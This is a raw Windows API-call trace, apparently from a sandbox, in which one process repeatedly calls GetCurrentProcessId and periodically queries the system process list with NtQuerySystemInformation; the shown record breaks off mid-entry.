[0165.061] GetCurrentProcessId () returned 0xbf4 [0165.061] GetCurrentProcessId () returned 0xbf4 [0165.061] GetCurrentProcessId () returned 0xbf4 [0165.061] GetCurrentProcessId () returned 0xbf4 [0165.061] GetCurrentProcessId () returned 0xbf4 [0165.061] GetCurrentProcessId () returned 0xbf4 [0165.061] GetCurrentProcessId () returned 0xbf4 [0165.061] GetCurrentProcessId () returned 0xbf4 [0165.061] GetCurrentProcessId () returned 0xbf4 [0165.061] GetCurrentProcessId () returned 0xbf4 [0165.061] GetCurrentProcessId () returned 0xbf4 [0165.061] GetCurrentProcessId () returned 0xbf4 [0165.061] GetCurrentProcessId () returned 0xbf4 [0165.061] GetCurrentProcessId () returned 0xbf4 [0165.061] GetCurrentProcessId () returned 0xbf4 [0165.061] GetCurrentProcessId () returned 0xbf4 [0165.061] GetCurrentProcessId () returned 0xbf4 [0165.061] GetCurrentProcessId () returned 0xbf4 [0165.061] GetCurrentProcessId () returned 0xbf4 [0165.061] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.062] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.063] GetCurrentProcessId () returned 0xbf4 [0165.064] GetCurrentProcessId () returned 0xbf4 [0165.064] GetCurrentProcessId () returned 0xbf4 [0165.064] GetCurrentProcessId () returned 0xbf4 [0165.064] GetCurrentProcessId () returned 0xbf4 [0165.064] GetCurrentProcessId () returned 0xbf4 [0165.064] GetCurrentProcessId () returned 0xbf4 [0165.064] GetCurrentProcessId () returned 0xbf4 [0165.064] GetCurrentProcessId () returned 0xbf4 [0165.064] GetCurrentProcessId () returned 0xbf4 [0165.064] GetCurrentProcessId () returned 0xbf4 [0165.064] GetCurrentProcessId () returned 0xbf4 [0165.064] GetCurrentProcessId () returned 0xbf4 [0165.064] GetCurrentProcessId () returned 0xbf4 [0165.064] GetCurrentProcessId () returned 0xbf4 [0165.064] GetCurrentProcessId () returned 0xbf4 [0165.064] GetCurrentProcessId () returned 0xbf4 [0165.064] GetCurrentProcessId () returned 0xbf4 [0165.064] GetCurrentProcessId () returned 0xbf4 [0165.064] GetCurrentProcessId () returned 0xbf4 [0165.064] GetCurrentProcessId () returned 0xbf4 [0165.064] GetCurrentProcessId () returned 0xbf4 [0165.064] GetCurrentProcessId () returned 0xbf4 [0165.064] GetCurrentProcessId () returned 0xbf4 [0165.588] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1bf70) returned 0x0 [0165.597] GetCurrentProcessId () returned 0xbf4 [0165.597] GetCurrentProcessId () returned 0xbf4 [0165.597] GetCurrentProcessId () returned 0xbf4 [0165.597] GetCurrentProcessId () returned 0xbf4 [0165.597] GetCurrentProcessId () returned 0xbf4 [0165.597] GetCurrentProcessId () returned 0xbf4 [0165.597] GetCurrentProcessId () returned 0xbf4 [0165.597] GetCurrentProcessId () returned 0xbf4 [0165.597] GetCurrentProcessId () returned 0xbf4 [0165.597] GetCurrentProcessId () returned 0xbf4 [0165.597] GetCurrentProcessId () returned 0xbf4 [0165.597] GetCurrentProcessId () returned 0xbf4 [0165.597] GetCurrentProcessId () returned 0xbf4 [0165.597] GetCurrentProcessId () returned 0xbf4 [0165.597] GetCurrentProcessId () returned 0xbf4 [0165.597] GetCurrentProcessId () returned 0xbf4 [0165.597] GetCurrentProcessId () returned 0xbf4 [0165.597] GetCurrentProcessId () returned 0xbf4 [0165.597] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.598] GetCurrentProcessId () returned 0xbf4 [0165.599] GetCurrentProcessId () returned 0xbf4 [0165.599] GetCurrentProcessId () returned 0xbf4 [0165.599] GetCurrentProcessId () returned 0xbf4 [0165.599] GetCurrentProcessId () returned 0xbf4 [0165.599] GetCurrentProcessId () returned 0xbf4 [0165.599] GetCurrentProcessId () returned 0xbf4 [0165.599] GetCurrentProcessId () returned 0xbf4 [0165.599] GetCurrentProcessId () returned 0xbf4 [0165.599] GetCurrentProcessId () returned 0xbf4 [0165.599] GetCurrentProcessId () returned 0xbf4 [0165.599] GetCurrentProcessId () returned 0xbf4 [0165.599] GetCurrentProcessId () returned 0xbf4 [0165.599] GetCurrentProcessId () returned 0xbf4 [0165.599] GetCurrentProcessId () returned 0xbf4 [0165.599] GetCurrentProcessId () returned 0xbf4 [0165.599] GetCurrentProcessId () returned 0xbf4 [0165.599] GetCurrentProcessId () returned 0xbf4 [0165.599] GetCurrentProcessId () returned 0xbf4 [0165.599] GetCurrentProcessId () returned 0xbf4 [0165.599] GetCurrentProcessId () returned 0xbf4 [0165.599] GetCurrentProcessId () returned 0xbf4 [0165.599] GetCurrentProcessId () returned 0xbf4 [0165.599] GetCurrentProcessId () returned 0xbf4 [0165.599] GetCurrentProcessId () returned 0xbf4 [0165.599] GetCurrentProcessId () returned 0xbf4 [0165.600] GetCurrentProcessId () returned 0xbf4 [0165.600] GetCurrentProcessId () returned 0xbf4 [0165.600] GetCurrentProcessId () returned 0xbf4 [0165.600] GetCurrentProcessId () returned 0xbf4 [0165.600] GetCurrentProcessId () returned 0xbf4 [0165.600] GetCurrentProcessId () returned 0xbf4 [0165.600] GetCurrentProcessId () returned 0xbf4 [0165.600] GetCurrentProcessId () returned 0xbf4 [0165.600] GetCurrentProcessId () returned 0xbf4 [0165.600] GetCurrentProcessId () returned 0xbf4 [0165.600] GetCurrentProcessId () returned 0xbf4 [0165.600] GetCurrentProcessId () returned 0xbf4 [0165.600] GetCurrentProcessId () returned 0xbf4 [0165.600] GetCurrentProcessId () returned 0xbf4 [0165.600] GetCurrentProcessId () returned 0xbf4 [0165.600] GetCurrentProcessId () returned 0xbf4 [0165.600] GetCurrentProcessId () returned 0xbf4 [0165.600] GetCurrentProcessId () returned 0xbf4 [0165.600] GetCurrentProcessId () returned 0xbf4 [0165.600] GetCurrentProcessId () returned 0xbf4 [0165.600] GetCurrentProcessId () returned 0xbf4 [0165.600] GetCurrentProcessId () returned 0xbf4 [0165.600] GetCurrentProcessId () returned 0xbf4 [0165.600] GetCurrentProcessId () returned 0xbf4 [0165.601] GetCurrentProcessId () returned 0xbf4 [0165.601] GetCurrentProcessId () returned 0xbf4 [0165.601] GetCurrentProcessId () returned 0xbf4 [0165.601] GetCurrentProcessId () returned 0xbf4 [0165.601] GetCurrentProcessId () returned 0xbf4 [0165.601] GetCurrentProcessId () returned 0xbf4 [0165.601] GetCurrentProcessId () returned 0xbf4 [0165.601] GetCurrentProcessId () returned 0xbf4 [0165.601] GetCurrentProcessId () returned 0xbf4 [0166.107] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1bf20) returned 0x0 [0166.117] GetCurrentProcessId () returned 0xbf4 [0166.117] GetCurrentProcessId () returned 0xbf4 [0166.117] GetCurrentProcessId () returned 0xbf4 [0166.117] GetCurrentProcessId () returned 0xbf4 [0166.117] GetCurrentProcessId () returned 0xbf4 [0166.117] GetCurrentProcessId () returned 0xbf4 [0166.117] GetCurrentProcessId () returned 0xbf4 [0166.117] GetCurrentProcessId () returned 0xbf4 [0166.117] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.118] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.119] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.120] GetCurrentProcessId () returned 0xbf4 [0166.650] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1bf20) returned 0x0 [0167.183] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1bf20) returned 0x0 [0167.697] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1bb30) returned 0x0 [0167.705] GetCurrentProcessId () returned 0xbf4 [0167.706] GetCurrentProcessId () returned 0xbf4 [0167.706] GetCurrentProcessId () returned 0xbf4 [0167.706] GetCurrentProcessId () returned 0xbf4 [0167.706] GetCurrentProcessId () returned 0xbf4 [0167.706] GetCurrentProcessId () returned 0xbf4 [0167.706] GetCurrentProcessId () returned 0xbf4 [0167.706] GetCurrentProcessId () returned 0xbf4 [0167.706] GetCurrentProcessId () returned 0xbf4 [0167.706] GetCurrentProcessId () returned 0xbf4 [0167.706] GetCurrentProcessId () returned 0xbf4 [0167.706] GetCurrentProcessId () returned 0xbf4 [0167.706] GetCurrentProcessId () returned 0xbf4 [0167.706] GetCurrentProcessId () returned 0xbf4 [0167.706] GetCurrentProcessId () returned 0xbf4 [0167.706] GetCurrentProcessId () returned 0xbf4 [0167.706] GetCurrentProcessId () returned 0xbf4 [0167.706] GetCurrentProcessId () returned 0xbf4 [0167.706] GetCurrentProcessId () returned 0xbf4 [0167.706] GetCurrentProcessId () returned 0xbf4 [0167.706] GetCurrentProcessId () returned 0xbf4 [0167.706] GetCurrentProcessId () returned 0xbf4 [0167.706] GetCurrentProcessId () returned 0xbf4 [0167.706] GetCurrentProcessId () returned 0xbf4 [0167.706] GetCurrentProcessId () returned 0xbf4 [0167.706] GetCurrentProcessId () returned 0xbf4 [0167.706] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.707] GetCurrentProcessId () returned 0xbf4 [0167.708] GetCurrentProcessId () returned 0xbf4 [0167.708] GetCurrentProcessId () returned 0xbf4 [0167.708] GetCurrentProcessId () returned 0xbf4 [0167.708] GetCurrentProcessId () returned 0xbf4 [0167.708] GetCurrentProcessId () returned 0xbf4 [0167.708] GetCurrentProcessId () returned 0xbf4 [0167.708] GetCurrentProcessId () returned 0xbf4 [0167.708] GetCurrentProcessId () returned 0xbf4 [0167.708] GetCurrentProcessId () returned 0xbf4 [0167.708] GetCurrentProcessId () returned 0xbf4 [0167.708] GetCurrentProcessId () returned 0xbf4 [0167.708] GetCurrentProcessId () returned 0xbf4 [0167.708] GetCurrentProcessId () returned 0xbf4 [0167.708] GetCurrentProcessId () returned 0xbf4 [0167.708] GetCurrentProcessId () returned 0xbf4 [0167.708] GetCurrentProcessId () returned 0xbf4 [0167.708] GetCurrentProcessId () returned 0xbf4 [0167.708] GetCurrentProcessId () returned 0xbf4 [0167.708] GetCurrentProcessId () returned 0xbf4 [0167.708] GetCurrentProcessId () returned 0xbf4 [0167.708] GetCurrentProcessId () returned 0xbf4 [0167.708] GetCurrentProcessId () returned 0xbf4 [0167.708] GetCurrentProcessId () returned 0xbf4 [0167.708] GetCurrentProcessId () returned 0xbf4 [0167.708] GetCurrentProcessId () returned 0xbf4 [0167.708] GetCurrentProcessId () returned 0xbf4 [0167.709] GetCurrentProcessId () returned 0xbf4 [0167.709] GetCurrentProcessId () returned 0xbf4 [0167.709] GetCurrentProcessId () returned 0xbf4 [0167.709] GetCurrentProcessId () returned 0xbf4 [0167.709] GetCurrentProcessId () returned 0xbf4 [0167.709] GetCurrentProcessId () returned 0xbf4 [0167.709] GetCurrentProcessId () returned 0xbf4 [0167.709] GetCurrentProcessId () returned 0xbf4 [0167.709] GetCurrentProcessId () returned 0xbf4 [0167.709] GetCurrentProcessId () returned 0xbf4 [0167.709] GetCurrentProcessId () returned 0xbf4 [0167.709] GetCurrentProcessId () returned 0xbf4 [0167.709] GetCurrentProcessId () returned 0xbf4 [0167.709] GetCurrentProcessId () returned 0xbf4 [0167.709] GetCurrentProcessId () returned 0xbf4 [0167.709] GetCurrentProcessId () returned 0xbf4 [0167.709] GetCurrentProcessId () returned 0xbf4 [0167.709] GetCurrentProcessId () returned 0xbf4 [0167.709] GetCurrentProcessId () returned 0xbf4 [0167.709] GetCurrentProcessId () returned 0xbf4 [0167.709] GetCurrentProcessId () returned 0xbf4 [0168.212] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1bb30) returned 0x0 [0168.220] GetCurrentProcessId () returned 0xbf4 [0168.220] GetCurrentProcessId () returned 0xbf4 [0168.220] GetCurrentProcessId () returned 0xbf4 [0168.220] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.221] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.222] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.223] GetCurrentProcessId () returned 0xbf4 [0168.224] GetCurrentProcessId () returned 0xbf4 [0168.224] GetCurrentProcessId () returned 0xbf4 [0168.224] GetCurrentProcessId () returned 0xbf4 [0168.224] GetCurrentProcessId () returned 0xbf4 [0168.224] GetCurrentProcessId () returned 0xbf4 [0168.224] GetCurrentProcessId () returned 0xbf4 [0168.224] GetCurrentProcessId () returned 0xbf4 [0168.224] GetCurrentProcessId () returned 0xbf4 [0168.224] GetCurrentProcessId () returned 0xbf4 [0168.224] GetCurrentProcessId () returned 0xbf4 [0168.224] GetCurrentProcessId () returned 0xbf4 [0168.224] GetCurrentProcessId () returned 0xbf4 [0168.224] GetCurrentProcessId () returned 0xbf4 [0168.224] GetCurrentProcessId () returned 0xbf4 [0168.224] GetCurrentProcessId () returned 0xbf4 [0168.224] GetCurrentProcessId () returned 0xbf4 [0168.224] GetCurrentProcessId () returned 0xbf4 [0168.224] GetCurrentProcessId () returned 0xbf4 [0168.737] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1bb30) returned 0x0 [0168.744] GetCurrentProcessId () returned 0xbf4 [0168.744] GetCurrentProcessId () returned 0xbf4 [0168.744] GetCurrentProcessId () returned 0xbf4 [0168.744] GetCurrentProcessId () returned 0xbf4 [0168.744] GetCurrentProcessId () returned 0xbf4 [0168.744] GetCurrentProcessId () returned 0xbf4 [0168.744] GetCurrentProcessId () returned 0xbf4 [0168.744] GetCurrentProcessId () returned 0xbf4 [0168.744] GetCurrentProcessId () returned 0xbf4 [0168.744] GetCurrentProcessId () returned 0xbf4 [0168.744] GetCurrentProcessId () returned 0xbf4 [0168.744] GetCurrentProcessId () returned 0xbf4 [0168.744] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] GetCurrentProcessId () returned 0xbf4 [0168.745] 